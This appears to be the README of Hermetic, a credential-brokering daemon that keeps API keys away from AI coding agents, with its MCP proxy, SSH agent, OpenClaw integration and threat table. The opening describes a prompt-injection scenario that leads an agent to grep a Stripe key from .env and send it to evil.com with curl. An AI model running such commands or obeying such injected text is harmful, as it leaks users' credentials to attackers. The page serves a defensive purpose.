Your AI agent runs code as you.
Every API key on your machine is one prompt injection away.
Hermetic makes that not matter.
Website · Install · How It Works · SSH Agent · MCP Proxy · OpenClaw · Security
Every AI coding agent — Claude Code, Cursor, Copilot, Windsurf — executes shell commands as your user. That means every API key in your .env, every token in your shell history, every credential in ~/.aws/credentials is accessible to any code the agent runs.
A prompt injection in a GitHub issue, a code comment, or an API error response can instruct the agent to:
1. Find your Stripe key → cat .env | grep STRIPE
2. Exfiltrate it → curl https://evil.com?key=$STRIPE_KEY
3. You never know → agent continues normally
This is not theoretical. Supply chain attacks (event-stream 2018, ua-parser-js 2021, Axios 2026) already execute credential theft under the developer's UID. AI agents make this the default attack surface.
Hermetic is a local daemon that makes API calls on behalf of AI agents so the agent never touches your credentials.
┌─────────────────────────────────────────────────────────────┐
│ │
│ ┌───────────┐ ┌──────────────┐ │
│ │ │ handle │ │ HTTPS │
│ │ AI Agent │────────▶│ Hermetic │──────────▶ API │
│ │ │◀────────│ Daemon │◀────────── Server│
│ │ │ response │ │ response │
│ └───────────┘ └──────────────┘ │
│ │ │
│ Agent memory: │ Daemon memory: │
│ ✗ No credential │ ✓ Credential │
│ ✓ Opaque handle │ ✓ Domain binding │
│ ✓ API response │ ✓ Audit log │
│ │ │
└─────────────────────────────────────────────────────────────┘
The credential never enters the agent's address space. Not in memory. Not in environment variables. Not in files. Not in command output. The agent gets back the API response and nothing else.
curl -sSf https://hermeticsys.com/install.sh | shSingle static binary (Rust, no runtime dependencies). No Docker. No cloud account. No telemetry.
- Linux x86_64 only
- Memory lock permission — Hermetic locks secrets in RAM to prevent swapping to disk. Most systems need:
Without this,
# Check current limit ulimit -l # If it shows 64 or similar (not "unlimited"), fix it: echo "* - memlock unlimited" | sudo tee -a /etc/security/limits.conf # Then log out and back in, or run: ulimit -l unlimited
hermetic startwill fail with "mlockall failed." This is a one-time setup.
Most credential managers give you one option: read the secret, use it yourself. Hermetic gives you three, each with a different security guarantee.
hermetic request --secret openai_key \
--url https://api.openai.com/v1/chat/completions \
--method POST --body '{"model":"gpt-4","messages":[...]}'What happens:
Agent Daemon API Server
│ │ │
│──request──────▶│ │
│ (handle only) │──────HTTPS──────────▶│
│ │ (credential injected)│
│ │◀─────response─────────│
│◀──response────│ │
│ (data only) │ │
Credential exposure: ZERO
The agent never sees, holds, or transmits the key.
No other credential manager does this. 1Password CLI returns the secret to stdout. HashiCorp Vault returns it via HTTP. aws-vault injects it into env. In every case, the calling process holds the credential in memory. Hermetic is the only tool where the credential stays inside a separate daemon process.
hermetic run --secret github_pat --env-var GITHUB_TOKEN \
-- git push origin mainWhat happens:
1. Daemon resolves credential from vault
2. Spawns child process with sanitized environment
3. Injects credential as env var into child ONLY
4. Child executes (git push)
5. Child exits → credential wiped
6. Agent gets exit code, never sees the key
Credential exposure: ~milliseconds (child process lifetime)
stdout/stderr scanned — leaked credentials redacted
Dangerous interpreters blocked by default
Child runs in isolated, dump-protected process group
hermetic reveal --secret stripe_keyPrints the credential to your terminal. Requires passphrase re-entry. Rate-limited. Audit-logged. For when you need to paste a key manually.
This is what no one else has built.
Every MCP server (GitHub, Slack, Jira, Notion, filesystem) requires credentials in your IDE config file:
{
"mcpServers": {
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": {
"GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_R3aLT0k3nH3r3..."
}
}
}
}Every process on your machine can read this file. The MCP server receives the token in its environment. A compromised MCP server exfiltrates it. The agent sees it in config.
{
"mcpServers": {
"github": {
"command": "hermetic",
"args": [
"proxy", "--server", "github",
"--credential", "GITHUB_PERSONAL_ACCESS_TOKEN:github_pat",
"--",
"npx", "-y", "@modelcontextprotocol/server-github"
]
}
}
}What happens:
IDE ◀──JSON-RPC──▶ Hermetic Proxy ◀──JSON-RPC──▶ MCP Server
│ │
│ 1. Resolves credential │
│ from encrypted vault │
│ 2. Spawns MCP server │
│ with credential in env │
│ 3. Relays all messages │
│ 4. SCANS every response │
│ for credential leakage │
│ 5. PINS tool definitions │
│ (detects rug-pulls) │
│ 6. Enforces per-tool │
│ allow/deny policy │
│ │
Zero credentials
in your config file
The proxy does six things simultaneously:
| Feature | What It Does | Why It Matters |
|---|---|---|
| Credential injection | Resolves secrets from vault, injects into child env | No plaintext tokens in config files |
| Leak scanning | Scans every message from server→agent for credential material | Catches compromised or malicious MCP servers |
| Tool definition pinning | Cryptographic hash of tool schemas on first connect | Detects if a server changes its tools (supply chain attack) |
| Per-tool policy | Allow/deny rules per tool name | Block dangerous tools while keeping useful ones |
| Process isolation | Child in new process group, sanitized env, dump-protected | MCP server can't read parent memory |
| Clean shutdown | Kills entire process tree on exit | No orphaned server processes |
Hermetic speaks the standard SSH agent protocol. Set SSH_AUTH_SOCK and every git push, scp, rsync, and SSH connection uses keys from the encrypted vault — without extracting them to ~/.ssh/.
# Start daemon with SSH agent
hermetic start --ssh-agent
# Source the env file (add to .bashrc/.zshrc)
source ~/.hermetic/ssh-agent.env
# Generate a key (stored in vault, never on disk)
hermetic ssh-keygen --type ed25519 --name github-ssh
# Or import an existing key
hermetic add --ssh-key ~/.ssh/id_ed25519
# Verify — your key appears
ssh-add -l
# 256 SHA256:... github-ssh (ED25519)
# Use normally — git, scp, rsync all work
git push origin mainSupported algorithms: Ed25519, RSA (SHA-256, SHA-512), ECDSA P-256. SHA-1 signing rejected.
The daemon performs all cryptographic operations internally. The SSH client connects to Hermetic's socket, requests a signature, and the daemon signs with the private key from the vault. The key bytes never enter the SSH client's memory.
The daemon holds your most sensitive credentials. It needs to be hardened against the same agent that's trying to use those credentials.
┌─────────────────────────────────────────────────────────────┐
│ CONNECTING PROCESS │
│ │
│ Step 1: Binary Attestation │
│ ┌──────────────────────────────────────┐ │
│ │ Daemon verifies the connecting │ │
│ │ binary's cryptographic hash │ │
│ │ │ │
│ │ Python script? → REJECTED │ │
│ │ Unknown binary? → REJECTED │ │
│ │ Hermetic binary? → PROCEED │ │
│ └──────────────────────────────────────┘ │
│ │
│ Step 2: Sender Verification (every message) │
│ ┌──────────────────────────────────────┐ │
│ │ Kernel verifies sender identity │ │
│ │ on every message received │ │
│ │ │ │
│ │ Message from wrong process? │ │
│ │ → SENDER MISMATCH → REJECTED │ │
│ └──────────────────────────────────────┘ │
│ │
│ Step 3: Token Binding │
│ ┌──────────────────────────────────────┐ │
│ │ Session token bound to originating │ │
│ │ process — non-transferable │ │
│ │ │ │
│ │ Stolen token from another process? │ │
│ │ → PROCESS MISMATCH → REJECTED │ │
│ └──────────────────────────────────────┘ │
│ │
│ Result: Only the real Hermetic binary, │
│ from the original connection, with a │
│ non-transferable token, can access secrets. │
└─────────────────────────────────────────────────────────────┘
Plus: memory locked in RAM, dump-protected, core dumps disabled, debugger detection, HTTPS-only with SSRF blocking and DNS pinning.
# Install
curl -sSf https://hermeticsys.com/install.sh | sh
# Create vault + add your first key
hermetic init
hermetic add --wizard
# Start daemon
hermetic start
# Make an API call — your key never leaves the daemon
hermetic request --secret openai_key \
--url https://api.openai.com/v1/models
# Check everything is healthy
hermetic doctorhermetic mcp-configGenerates the config block for your IDE. Paste it in and every AI agent call goes through Hermetic.
{
"mcpServers": {
"hermetic": {
"command": "hermetic",
"args": ["mcp"]
}
}
}The agent gets tools for brokered API calls, transient credential injection, secret listing, metadata queries, and guided secret setup — all without ever touching a credential.
OpenClaw uses exec providers to resolve secrets at runtime. Hermetic is a drop-in exec provider — the fastest in the ecosystem.
# Option 1: Auto-configure (generates OpenClaw config + installs MCP server)
hermetic reveal --configure openclaw --install
# Option 2: Manual — add to your OpenClaw secrets config# openclaw-secrets.yaml
secrets:
provider: exec
command: hermetic reveal --secret {{name}}That's it. Every SecretRef in your OpenClaw skills now resolves through Hermetic's encrypted vault. The agent never sees the credential value.
OpenClaw Skill Hermetic API
│ │ │
│ SecretRef("stripe_key") │ │
│───exec provider───────────▶│ │
│ │── reveal (passphrase-gated)│
│◀──credential value─────────│ │
│ │ │
│─────────────────── API call with credential ───────────▶│
│◀────────────────── response ────────────────────────────│
.env file |
Hermetic exec provider | |
|---|---|---|
| Storage | Plaintext on disk | AES-256-GCM encrypted vault |
| Access control | Any process can read | Passphrase-gated, audit-logged |
| Domain binding | None | Credential bound to allowed domains |
| Rotation | Manual find-and-replace | hermetic add replaces in vault |
| Agent visibility | Agent reads .env directly | Agent gets value only through exec provider |
| Multi-project | Copy .env per project | Single vault, all projects |
For the full ★★★ Brokered experience where the credential never leaves daemon memory:
{
"mcpServers": {
"hermetic": {
"command": "hermetic",
"args": ["mcp"]
}
}
}With MCP, OpenClaw skills can use hermetic_authenticated_request instead of reading the credential — the daemon makes the HTTP call directly. The credential never enters the skill's process.
| Attack | How Hermetic Blocks It | Other Tools |
|---|---|---|
Supply chain reads .env |
No .env needed — credentials in encrypted vault |
❌ Exposed |
| Agent exfiltrates key to attacker domain | Domain binding — credential only works with allowed domains | ❌ No domain binding |
| Prompt injection steals from daemon socket | Binary attestation — only verified binaries can connect | ❌ Socket open to any same-UID process |
| File descriptor sharing attack on socket | Per-message kernel-verified sender identity | ❌ Not defended |
| Token stolen from process memory | Process-bound tokens — different process = rejected | ❌ Bearer tokens valid from any process |
| Memory scraping by same-UID process | Process memory protected from external reads | ❌ Readable by default |
| Core dump analysis | Core dumps disabled at startup | ❌ Enabled by default |
| Dynamic library injection | Detection at startup + static build path | ❌ Not checked |
Could you build "store a secret, return it" in 500 lines? Absolutely. But then any Python script on your machine can connect to the socket and grab your keys — which is exactly the problem when AI agents are running arbitrary code as your UID.
The complexity isn't the encryption. It's making sure the wrong process can't get to what's encrypted: binary attestation, per-message sender verification, process-bound tokens, credential leak scanning, tool definition pinning, SSRF blocking, DNS pinning, interpreter blocklists, and memory hardening. Each one exists because a real attack was demonstrated without it.
| Community (Free) | Pro ($10/mo) | |
|---|---|---|
| All security features | ✓ Full | ✓ Full |
| ★★★ Brokered requests | ✓ | ✓ |
| MCP Proxy + leak scanning | ✓ | ✓ |
| SSH Agent (Ed25519, RSA, ECDSA) | ✓ | ✓ |
| Binary attestation | ✓ | ✓ |
| Credential redaction on stdout | ✓ | ✓ |
| Secrets | 10 | Unlimited |
| Environments | 1 | Unlimited |
| OAuth2 auto-refresh | — | ✓ |
| JWT signing (GCP, GitHub, Azure) | — | ✓ |
| AWS SigV4 request signing | — | ✓ |
| Credential health monitoring | — | ✓ |
| Token usage analytics | — | ✓ |
| Dashboards (TUI + web) | — | ✓ |
Security is never gated. Community and Pro run identical security code.
The system is adversarially validated: independent AI-powered red team campaigns, fuzz testing with zero crashes, mutation testing, and real-world attack simulation. Three real vulnerabilities were found and fixed during adversarial testing. The cryptographic core (this repository) is open source for independent verification.
A working exploit was discovered, reproduced against the live daemon, then permanently blocked using kernel-level defenses. The full story is in our whitepaper.
This repository contains the open-source cryptographic core:
crates/hermetic-core/ — AES-256-GCM vault, Argon2id KDF, HKDF key hierarchy, audit chain
crates/hermetic-transport/ — HTTPS executor, SSRF defense, DNS pinning, auth injection
The daemon, MCP bridge, proxy, and CLI are distributed as a pre-built binary.
git clone https://github.com/hermetic-sys/hermetic.git
cd hermetic && cargo build --releaseSee CONTRIBUTING.md. All contributions require a signed CLA.
Cryptographic core: AGPL-3.0-or-later. Commercial licenses: COMMERCIAL_LICENSE.md or license@hermeticsys.com.
The agent never sees the secret.
hermeticsys.com · security@hermeticsys.com · AGPL-3.0-or-later

